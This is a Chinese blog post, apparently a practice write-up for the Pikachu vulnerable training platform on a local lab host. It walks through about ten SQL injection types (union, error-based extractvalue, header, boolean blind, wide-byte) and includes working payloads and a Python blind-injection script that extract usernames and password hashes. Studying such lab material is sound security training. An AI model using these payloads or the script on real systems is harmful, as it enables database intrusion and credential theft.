• pikachu平台SQL注入


    pikachu平台SQL注入

    日常心累、速通pikachu注入相关



    使用到的名词解释

    mysql信息收集
    数据库版本: version()
    数据库用户: user()
    数据库名字: database()
    操作系统: @@version_compile_os
    记录所有数据库、表、字段的数据库: information_schema
    information_schema.tables : 表
    information_schema.columns : 字段
    table_name:表名
    column_name:字段名

    1. 数字型注入 --使用bp处理数据包

    确认注入点
    id=3 and 1=1&submit=%E6%9F%A5%E8%AF%A2

    确认最大返回数
    id=3 order by 2&submit=%E6%9F%A5%E8%AF%A2

    联合查询返回数据库版本,操作系统等数据
    id=3 union select version(),@@version_compile_os&submit=%E6%9F%A5%E8%AF%A2

    查表
    id=3 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&submit=%E6%9F%A5%E8%AF%A2

    查字段
    id=3 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'&submit=%E6%9F%A5%E8%AF%A2

    查看字段值
    id=3 union select 1,group_concat(concat_ws('~',username,password)) from users&submit=%E6%9F%A5%E8%AF%

    2. 字符型注入 --hackbar处理

    确认注入点
    http://192.168.1.28/pikachu-master/vul/sqli/sqli_str.php?name=kobe'--+&submit=%E6%9F%A5%E8%AF%A2

    由于是在同个数据库下,直接根据users表查字段
    http://192.168.1.28/pikachu-master/vul/sqli/sqli_str.php?name=kobe' union select 1,group_concat(concat_ws('~',username,password)) from users--+&submit=%E6%9F%A5%E8%AF%A2

    3. 搜索型注入

    简单的sql语句:SELECT * FROM user WHERE username LIKE '小%';

    确认注入点
    http://192.168.1.28/pikachu-master/vul/sqli/sqli_search.php?name=kobe'--+&submit=%E6%90%9C%E7%B4%A2

    直接查users字段
    http://192.168.1.28/pikachu-master/vul/sqli/sqli_search.php?name=kobe' union select 1,2,group_concat(concat_ws('~',username,password)) from users--+&submit=%E6%90%9C%E7%B4%A2

    4. xx型注入

    确认注入点
    http://192.168.1.28/pikachu-master/vul/sqli/sqli_x.php?name=kobe')--+&submit=%E6%9F%A5%E8%AF%A2

    直接查字段
    http://192.168.1.28/pikachu-master/vul/sqli/sqli_x.php?name=kobe') union select 1,group_concat(concat_ws('~',username,password)) from users--+&submit=%E6%9F%A5%E8%AF%A2

    5. insert/update注入

    由于不是查询语句,可以使用报错查询
    在注册页面:
    用户:qiye' || (extractvalue(1,concat(0x7e,(select(database())),0x7e))) || '
    密码:随意
    其余:随意

    爆users字段
    用户:' || (extractvalue(1,concat(0x7e,(select(group_concat(concat_ws('~',username,password)))from(users)),0x7e))) || '
    密码:随意
    其余:随意
    报错返回:XPATH syntax error: 'admin~e10adc3949ba59abbe56e057f'
    请添加图片描述

    6. delete注入

    删除时使用BP抓包,PHP会调用delete语句,让他报错就行

    注入点
    id=77+or+extractvalue(1,concat(0x7e,(select(database()),0x7e))

    查users表字段值
    id=77+or+extractvalue(1,concat(0x7e,(select(group_concat(concat_ws('~',username,password)))from(users)),0x7e))

    请添加图片描述

    7. http头注入

    注入点
    Accept: qiye' || (extractvalue(1,concat(0x7e,(select(database())),0x7e))) || '

    查users中字段数据
    Accept: ' || (extractvalue(1,concat(0x7e,(select(group_concat(concat_ws('~',username,password)))from(users)),0x7e))) || '
    请添加图片描述

    8. 布尔盲注

    注入点
    先找一个存在的username,所以用系统给的kobe,这里通过异或运算来逻辑判断正确与失败
    http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and 0^1--+

    简单手工测试,这里测试数据库的第一个字符的ascii(根据前面已知数据库名为pikachu,故第一个字符为p,p的ascii码为112)
    http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and 0^(ascii(substr((select(database())),1,1))>111)--+

    http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and 0^(ascii(substr((select(database())),1,1))>112)--+
    发现第一个payload有返回结果,第二个payload没有返回结果,故可以通过爆破字段的ascii码来获取数据,所以开始写poc:

    import requests
    import time
    
    url="http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and "
    name=''
    
    for i in range(1, 80):
        print(i)
        low = 31
        high = 127
        mid=(low + high) // 2
        while low < high:
            #payload = "0^(ascii(substr((select(database())),%d,1))>%d)--+" % (i, mid)
            #payload = "0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)--+"%(i, mid)
            #payload = "0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))>%d)--+"%(i, mid)
            payload = "0^(ascii(substr((select(group_concat(username,'~',password))from(users)),%d,1))>%d)--+"%(i, mid)
    
            r = requests.get(url + payload)
            print(url + payload)
            if 'kobe' in r.text:   #kobe为文章内容,一旦正常返回,则字符爆破正确
                low = mid+1
            else:
                high=mid
            mid = (low + high) // 2
            if(mid == 32):
                break
        name = name + chr(mid)
        print (name)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    请添加图片描述

    9. 时间盲注

    暂时不写,主要POC想想怎么写

    10. 宽字节注入

    name=kobe%df' union select 1,group_concat(username,password) from users--+&submit=%E6%9F%A5%E8%AF%A2
    请添加图片描述

  • 相关阅读:
    ubuntu18.04上遇到的一些bug修复
    插入排序:简单而有效的排序方法
    员工档案,云进销存财务ERP批发零售超市商贸仓库出入库管理软件开发
    程序员为什么要软一点?
    window10安裝mysql8.0.18
    mysql-集群-二进制部署
    gcc编译器
    JavaScript 原型和原型链
    关于 Spring Cloud Alibaba 依赖版本如何选择的问题
    综合项目实战--jenkins节点模式
  • 原文地址:https://blog.csdn.net/m0_46684679/article/details/128138811